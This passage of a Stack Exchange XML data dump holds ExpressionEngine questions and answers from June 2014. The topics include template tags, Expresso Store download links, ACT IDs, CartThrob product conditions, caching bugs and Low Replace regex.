rows=&quot;12&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{if not_logged_in}&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/p&amp;gt;&#xA;&#xA;{if captcha}&#xA;&amp;lt;p&amp;gt;Submit the word you see below:&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;{captcha}&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit-button&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;preview&quot; value=&quot;Preview&quot; class=&quot;submit-button&quot; /&amp;gt;&#xA;{/exp:comment:form}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end comments --&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;&#xA;&#xA;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- end primarycontent--&amp;gt;&#xA;     &amp;lt;hr /&amp;gt;&#xA;&#xA;{embed=&quot;shopgolfincludes/secondary_sidebar&quot;}&#xA;&#xA;{embed=&quot;shopgolfincludes/footer&quot;}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3250" LastEditorUserId="3250" LastEditDate="2014-06-19T13:09:15.680" LastActivityDate="2014-08-24T09:08:22.213" Title="Why Are Posts On One EE Weblog Bleeding Over To The Other" Tags="|ee1|multiple-sites|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23798" PostTypeId="2" ParentId="23794" CreationDate="2014-06-19T07:49:59.757" Score="0" Body="&lt;p&gt;I'm not sure if it will work as this is a special feature of Wygwam but try using a soft return (SHIFT+RETURN) instead of a hard return. This will use a &lt;br&gt; tag instead of a &lt;p&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this will still cause a new line but you might be able to mitigate that via css by setting the &lt;br&gt; tag to be inline.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-19T07:49:59.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23800" PostTypeId="1" AcceptedAnswerId="23801" CreationDate="2014-06-19T13:47:00.517" Score="2" ViewCount="100" Body="&lt;p&gt;Exp:resso Store 2.3.1 and EE 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I include a download link right in the Order Confirmation email that Store sends out for any downloadable products in that order?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-06-19T13:47:00.517" Title="Add link for downloadable products in Expresso Store's emails?" Tags="|expresso-store|html-email|product|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23801" PostTypeId="2" ParentId="23800" CreationDate="2014-06-19T13:47:00.517" Score="4" Body="&lt;p&gt;Including download links is perfectly possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, set the Email Formatting to &quot;HTML&quot;, since Store's &lt;a href=&quot;https://exp-resso.com/docs/download_tag.html&quot; rel=&quot;nofollow&quot;&gt;Download Tag&lt;/a&gt; outputs HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, use the same code in the email template that you would use in a regular EE template to display download links. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&#xA;        {title}&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {exp:store:download url=&quot;{product_file}&quot; order_id=&quot;{order_id}&quot;}&#xA;                Download&#xA;            {/exp:store:download}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have multiple product channels (eg. &quot;Books&quot;, &quot;Music&quot;, etc) instead of a single &quot;Products&quot; channel, you need to add in some conditionals to only show download links for products in channels that have them. In the following example, only the &quot;Music&quot; channel has a downloadable product field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&#xA;        Title: {title}&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {if channel_short_name == 'music'}&#xA;                {exp:store:download url=&quot;{music__file}&quot; order_id=&quot;{order_id}&quot;}&#xA;                    Download&#xA;                {/exp:store:download}&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-06-19T13:47:00.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23802" PostTypeId="2" ParentId="23749" CreationDate="2014-06-19T13:47:25.757" Score="2" Body="&lt;p&gt;It's pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_field_management.html&quot; rel=&quot;nofollow&quot;&gt;Category Field&lt;/a&gt; and prefix its name with the language prefix related and use it for the translated name. For example, &lt;code&gt;pt-category_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your templates, inside &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;categories variable pair&lt;/a&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if language == &quot;pt&quot;}{pt-category_name}{/if}&#xA;{if language == &quot;en&quot;}{category_name}{/if}{!-- being `en` your default language --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-19T13:47:25.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23803" PostTypeId="2" ParentId="23783" CreationDate="2014-06-19T13:53:45.550" Score="0" Body="&lt;p&gt;I have had a somewhat similar issue with EE 1.7.3&#xA;We just switched servers over the weekend... we had been on the previous server for about 5-6 years.  All worked well.&#xA;Then we put up a couple entries in different weblogs (now &quot;Channels&quot; in 2.x) and noticed that, even though you could put them up in the EE control panel, they did not appear on the website. ??&#xA;So.&#xA;You could put up entries without problems. They showed in the EE preview.&#xA;The entry data was placed in the database in the correct tables (checked).&#xA;The entry did NOT show up on the web page.  Yet no code had been changed.&#xA;IF, however, I changed the Limit=&quot;__&quot; number from whatever it used to be (7 or 22 in the main two cases), the new entries showed up. &#xA;??!??&#xA;So on one template I changed the Limit=&quot;7&quot; to Limit=&quot;8&quot; and the other from Limit=&quot;22&quot; to Limit=&quot;21&quot; (a smaller number just to check) and, lo, it all works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not adding the code in here simply because the code is basic and has not changed in years.  The only change was the server.  Yet EVERYTHING works but that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this happened / happens, I do NOT know.&#xA;Just letting you know that it does.&lt;/p&gt;&#xA;" OwnerUserId="3252" LastActivityDate="2014-06-19T13:53:45.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23804" PostTypeId="1" AcceptedAnswerId="23847" CreationDate="2014-06-19T14:06:42.850" Score="2" ViewCount="122" Body="&lt;p&gt;I am using expresso store as my checkout form (which is already using the checkout &amp;amp; product tags to wrap the products inside of the cart), but need an additional form which consists of a simple textbox and button inside of these tags which will redeem a specific coupon. If I use the  HTML tag, the button to go to the next step does not work (as there are now two forms on the page). How would I be able to include this form and then link the 'Redeem' button to a function that I already have in my module? Is there a way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-20T19:35:40.077" Title="Redeem Coupon Form Inside Expresso Store Checkout" Tags="|expresso-store|checkout|ee|act|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23805" PostTypeId="1" AcceptedAnswerId="23808" CreationDate="2014-06-19T14:15:23.460" Score="2" ViewCount="1112" Body="&lt;p&gt;Currently I have a function called &lt;code&gt;redeem_coupon()&lt;/code&gt; in one of my modules in a EE2 project. I also have the button in a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; element to link the function to. I know I have to add the function to the database table called exp_actions. I have the following code for the button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;./&quot; name=&quot;redeemcouponform&quot;&amp;gt;&#xA;  &amp;lt;table&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;couponcode&quot; maxlength=&quot;12&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;APPLY&quot; class=&quot;button tiny success&quot; /&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;  &amp;lt;input name=&quot;ACT&quot; value=&quot;{AID:Lb_cart:redeem_coupon}&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any specific way I need to connect the button to the ACT so it can fire the function when the button is clicked?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="22" LastEditDate="2014-06-19T15:19:40.163" LastActivityDate="2014-06-19T15:19:40.163" Title="Linking an ACT ID To A Module Function" Tags="|ee2|checkout|act|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23806" PostTypeId="2" ParentId="23797" CreationDate="2014-06-19T14:22:13.147" Score="3" Body="&lt;p&gt;The point is that sometimes you are &lt;a href=&quot;http://ee1docs.com/modules/weblog/parameters.html#par_weblog&quot; rel=&quot;nofollow&quot;&gt;limiting the &lt;code&gt;weblog&lt;/code&gt; related to every template&lt;/a&gt; ( &lt;code&gt;{exp:weblog:entries weblog=&quot;{master_weblog_name}&quot; rdf=&quot;off&quot;}&lt;/code&gt;), sometimes you aren't (&lt;code&gt;{exp:weblog:entries limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;pagination&quot;}&lt;/code&gt;). Both your templates are loading entries from both weblogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;a href=&quot;http://ee1docs.com/modules/weblog/parameters.html#par_weblog&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;weblogs&lt;/code&gt; parameter&lt;/a&gt; to all &lt;code&gt;exp:weblog:entries&lt;/code&gt; variables and on the first one add the &lt;a href=&quot;http://ee1docs.com/modules/weblog/parameters.html#par_req_entry&quot; rel=&quot;nofollow&quot;&gt;require_entry&lt;/a&gt; parameter and a &lt;a href=&quot;http://ee1docs.com/modules/weblog/conditional_variables.html#cond_if_no_results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;no_results&lt;/code&gt; conditional&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;{master_weblog_name}&quot; require_entry=&quot;yes&quot; limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;trackbacks|member_data|pagination|comments&quot;}&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee1docs.com/general/throttling.html&quot; rel=&quot;nofollow&quot;&gt;Set which template to use for 404&lt;/a&gt;. Now, every time the &lt;code&gt;exp:weblog:entries&lt;/code&gt; doesn't find an entry for the given weblog, the user will be redirected to the 404 template.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-19T14:22:13.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23807" PostTypeId="2" ParentId="23783" CreationDate="2014-06-19T15:09:48.817" Score="2" Body="&lt;p&gt;I was able to resolve the issue by setting $config['enable_sql_caching'] = 'n'; in config.php (you can use the configuration file editor as well).&#xA;Apparently the issue has to do with having multiple sites/embedded templates. I think EE isn't clearing the cache on new entries in cases where I am using multiple embeds/sites in templates. EE support is considering this a caching bug and has passed it off to the developers.&lt;/p&gt;&#xA;" OwnerUserId="3203" LastEditorUserId="3203" LastEditDate="2014-06-19T18:18:07.973" LastActivityDate="2014-06-19T18:18:07.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23808" PostTypeId="2" ParentId="23805" CreationDate="2014-06-19T15:15:03.980" Score="2" Body="&lt;p&gt;I assume this is a form on the front end, is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it is, and assuming clicking the button submits the form in the usual way, you just need to set the &lt;code&gt;action&lt;/code&gt; attribute on your opening &lt;code&gt;form&lt;/code&gt; tag to be a URL that includes the appropriate Action ID (the one tied to the &lt;code&gt;redeem_coupon()&lt;/code&gt; method in your module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end Action URL should look something like &lt;code&gt;http://example.com/index.php?ACT=123&lt;/code&gt; where the &quot;123&quot; is your Action ID. You'll want to set that ID dynamically and it looks like you already have a method for doing that (guessing by the &lt;code&gt;{AID:Lb_cart:redeem_coupon}&lt;/code&gt; tag in your example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a good primer see &lt;a href=&quot;http://experiencehq.net/blog/a-brief-introduction-to-expressionengine-actions&quot; rel=&quot;nofollow&quot;&gt;A Brief Introduction to ExpressionEngine ACTions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this form is in the control panel then the idea is similar, but the approach is a little different. Let me know if this form is in the Control Panel not the front end and I will update my answer.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-06-19T15:15:03.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23809" PostTypeId="1" AcceptedAnswerId="23824" CreationDate="2014-06-19T15:25:38.607" Score="2" ViewCount="60" Body="&lt;p&gt;Not an EE developer, but trying to answer a question for a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a database (oracle) that they know they'll need to create a custom front end for, but they want it to somewhat integrate with their EE site. By integrate I just mean they'll create a page called &quot;peoplesearch&quot; and then on that page their custom PHP will execute within the template to connect to the database. I'd imagine that most of the app will change page content via ajax so that it at least won't need to worry much about multiple pages for the app, but it would also be nice if EE would allow for URL manipulation for deep linking into the app for a particular search etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee_database &amp;lt;-&gt; ee_page -&gt; webapp &amp;lt;-&gt; oracle_database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Does this question make sense? &lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2014-06-20T01:58:32.127" Title="Hosting an external web app within EE pages" Tags="|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23810" PostTypeId="1" CreationDate="2014-06-19T17:22:43.750" Score="0" ViewCount="46" Body="&lt;p&gt;I have two product types &quot;standard&quot; and &quot;addon&quot; these are just a custom field flag. An &quot;addon&quot; product can only be purchased if a &quot;standard&quot; product in in the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about coding this up? Ideally it'd be great to have a conditional that I can run to disable the add to cart button for addon products till a standard product has been added to the cart. Soon as one standard product has been added to the cart any number of addons may be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2054/check-if-user-has-purchase-w-cartthrob&quot;&gt;this question&lt;/a&gt; but it's not the same. In this case it has to be a specific &lt;em&gt;type&lt;/em&gt; of product not just &lt;em&gt;any&lt;/em&gt; product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-06-20T00:39:44.893" Title="Prevent product A from being purchased until product B is in the cart first" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23811" PostTypeId="1" CreationDate="2014-06-19T17:35:16.557" Score="1" ViewCount="71" Body="&lt;p&gt;I have a client who will be maintaining a phone directory on their site, updating it on a roughly monthly basis. The import will be a CSV file, and my plan is to use Solspace Importer to turn the data into channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is: is there a way to automatically remove entries if they don't exist in a newer import (for example, an employee has left the company and so isn't in the new CSV file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a similar discussion here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18837/delete-records-that-were-not-updated&quot;&gt;Delete records that were not updated&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but since this directory data won't be be imported on exact intervals, something automated/scheduled with cron won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="2726" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-05-23T15:40:12.327" Title="Automatically delete entries missing from import with Solspace Importer?" Tags="|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23812" PostTypeId="2" ParentId="23810" CreationDate="2014-06-19T18:10:50.230" Score="1" Body="&lt;p&gt;I am going to assume (hopefully correctly) you are working with logged in users at the time of purchase, so that there is a way to check if the member in question has previously purchased a standard product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this several ways I think, but here’s what jumped into my head using the regular channel entries tag and not the query tag or something more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did a search on the Purchased Items (not orders) channel using the logged in user’s ID and &lt;code&gt;search:url_title=&quot;name-of-standard-product&quot;&lt;/code&gt; it should return all of the purchases for that user, who had already purchased a standard product, to run a comparison against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the page URI that contained your standard and addon products ended with &quot;my-product-name&quot; and you placed the above concept into a LowVariable for example (snippets, etc. could work too), I think it would look like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;LowVar:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;purchased_items&quot; &#xA;  status=&quot;not Closed&quot; &#xA;  search:author_id=&quot;{user_id}&quot; &#xA;  search:url_title=&quot;{url_segment}&quot; &#xA;  dynamic=&quot;no&quot; &#xA;  limit=&quot;1&quot; &#xA;  disable=&quot;categories|member_data|pagination&quot;&#xA;}&#xA; true&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;In your template with the add to cart tags:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:low_variables:parse var=&quot;variable-name&quot; preparse:user_id=&quot;{logged_in_user_id}&quot; preparse:url_segment=&quot;{url_title}&quot;}'=='true'}&#xA;**show the add to cart for addons**&#xA;{if:else}&#xA;**You must purchase the standard product first**&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do this with javascript too of course to disable the Add to Cart buttons, but hopefully this gets you started.&lt;/p&gt;&#xA;" OwnerUserId="375" LastEditorUserId="115" LastEditDate="2014-06-19T21:46:09.817" LastActivityDate="2014-06-19T21:46:09.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23813" PostTypeId="1" AcceptedAnswerId="23841" CreationDate="2014-06-19T18:15:53.510" Score="1" ViewCount="57" Body="&lt;p&gt;Hopefully a simple answer, but at the moment, I can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an Assets field in a channel entry. When the client clicks on the &quot;Add file&quot; button, it defaults to the &quot;Recent Uploads&quot; smart source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client only has one place they can upload files to, and it's set in the channel field settings (only upload folder checked off). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to default to the upload folder vs. the &quot;recent uploads&quot; area?&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2014-07-20T20:42:43.143" Title="Setting default upload area for Assets" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23814" PostTypeId="2" ParentId="15537" CreationDate="2014-06-19T19:06:44.367" Score="0" Body="&lt;p&gt;This has been a long standing bug where the constant just wasn't defined. It's &lt;strong&gt;&lt;em&gt;finally&lt;/em&gt;&lt;/strong&gt; squished in EE 2.9:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Fixed a bug where MB_ENABLED was undefined&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-19T19:06:44.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23815" PostTypeId="1" AcceptedAnswerId="23840" CreationDate="2014-06-19T19:17:45.337" Score="2" ViewCount="239" Body="&lt;p&gt;I'm running into a strange problem. A couple of days ago, my client started noticing that the site has an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Message&#xA;This site is currently unavailable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the CP (admin.php) gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;You are not authorized to perform this action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is impossible to login to the CP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No luck trying these solutions out:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database settings seems to be right&lt;/li&gt;&#xA;&lt;li&gt;DB Connection is fine&lt;/li&gt;&#xA;&lt;li&gt;System is ON&lt;/li&gt;&#xA;&lt;li&gt;Tried from different device and different IP Address&lt;/li&gt;&#xA;&lt;li&gt;Can't find any strange things in my log files&lt;/li&gt;&#xA;&lt;li&gt;In my config debug is on. No other errors&lt;/li&gt;&#xA;&lt;li&gt;Tried removing my .htaccess&lt;/li&gt;&#xA;&lt;li&gt;Cleared my browser cache&lt;/li&gt;&#xA;&lt;li&gt;Cleared system/cache folder&lt;/li&gt;&#xA;&lt;li&gt;Centos 6.5 is up to date&lt;/li&gt;&#xA;&lt;li&gt;Plesk is up to date&lt;/li&gt;&#xA;&lt;li&gt;EE is up to date 2.8.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want access or want to see my config file just PM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="1755" LastEditorUserId="1755" LastEditDate="2014-06-23T14:53:49.443" LastActivityDate="2014-06-23T14:55:31.393" Title="Error: This site is currently unavailable. And unable to login to CP" Tags="|error|login|super-admin|admin.php|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23816" PostTypeId="2" ParentId="23782" CreationDate="2014-06-19T19:25:47.003" Score="0" Body="&lt;p&gt;First off, I don't think Low Replace supports &lt;code&gt;multiple=&amp;quot;yes&amp;quot;&lt;/code&gt; for regex replacements. Considering the complexities allowed in regex expressions, it would be a difficult task indeed to allow &lt;em&gt;Replace A|B|C with X|Y|Z&lt;/em&gt; type regex searches when each of &lt;em&gt;A|B|C&lt;/em&gt; are individual regex searches.&lt;/p&gt;&#xA;&lt;p&gt;I also don't see any Low Replace functionality to do the replace with case transforms. In straight regex it's pretty simple: prefix your replacement with &lt;code&gt;\U&lt;/code&gt; (or something very similar, depending on your regex flavor), but Low's only implementing a regex subset, it seems. No matter the syntax I tried, I was not able to get the replacement to change case. Of course, I could be missing something obvious, wouldn't be the first time &lt;em&gt;(see some of my questions here on the Stacks. ;-)&lt;/em&gt; If the resulting text does not &lt;em&gt;actually have to &lt;strong&gt;BE&lt;/strong&gt; uppercase&lt;/em&gt;, but can rather just &lt;em&gt;look&lt;/em&gt; uppercase, then how about a little CSS &lt;code&gt;text-transform:uppercase&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;So, we're left with the basic replacement of spaces to underscores. That's achievable with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&amp;quot;([\w\W+]) +&amp;quot; replace=&amp;quot;$1_&amp;quot; regex=&amp;quot;yes&amp;quot;}&#xA;  Lorem ipsum dolor sit amet. Nearly.&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will note that the search is for both alpha-numeric characters (&lt;code&gt;\w&lt;/code&gt;) as well as &lt;strong&gt;non&lt;/strong&gt;-alpha-numerics (&lt;code&gt;\W&lt;/code&gt;). This is to factor for the possibilities of commas, periods, etc. If you know that your case will never encounter these, you can leave the statement as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&amp;quot;(\w+) +&amp;quot; replace=&amp;quot;$1_&amp;quot; regex=&amp;quot;yes&amp;quot;}&#xA;  Lorem ipsum dolor sit amet. Nearly.&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first statement results in&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Lorem_ipsum_dolor_sit_amet._Nearly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The second statement results in&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Lorem_ipsum_dolor_sit_amet. Nearly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;(note the missing underscore before 'Nearly.')&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, for what it's worth, there's a utility by &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Causing Effect&lt;/a&gt; by the name of &lt;em&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string&quot; rel=&quot;nofollow noreferrer&quot;&gt;CE String&lt;/a&gt;&lt;/em&gt; that just completely kicks ninja string manipulation arse. For $10 it's a Bat Utility Belt of string manipulation the likes of which are endlessly joyous for a nerd. Worth a look. The beauty of it is that you can pile up your manipulations, so, say, do your regex search/replace, then UPPERCASE the whole thing.&lt;/p&gt;&#xA;&lt;p&gt;FYI.&lt;/p&gt;&#xA;" OwnerUserId="819" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-27T11:16:11.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23817" PostTypeId="2" ParentId="23733" CreationDate="2014-06-19T21:34:13.363" Score="3" Body="&lt;p&gt;UPS has multiple APIs that can be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to write an extension that uses the Address Validation - Street Level API (&lt;a href=&quot;https://www.ups.com/upsdeveloperkit/downloadresource?loc=en_US&quot; rel=&quot;nofollow&quot;&gt;API Details&lt;/a&gt;) to pass the users shipping details to first check to see if the address is valid or not. If the address is not valid the API should return a list of possible address that might be correct (if I remember correctly) or allow the user to enter the address differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a valid address you will need to use the Rating API (&lt;a href=&quot;https://www.ups.com/upsdeveloperkit/downloadresource?loc=en_US&quot; rel=&quot;nofollow&quot;&gt;Rating API Details&lt;/a&gt;) to request the actual shipping rates and options that the user can select. I don't have access to the Store UPS shipping module at the moment but I believe this is the API that is used to calculate rates.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-19T21:34:13.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
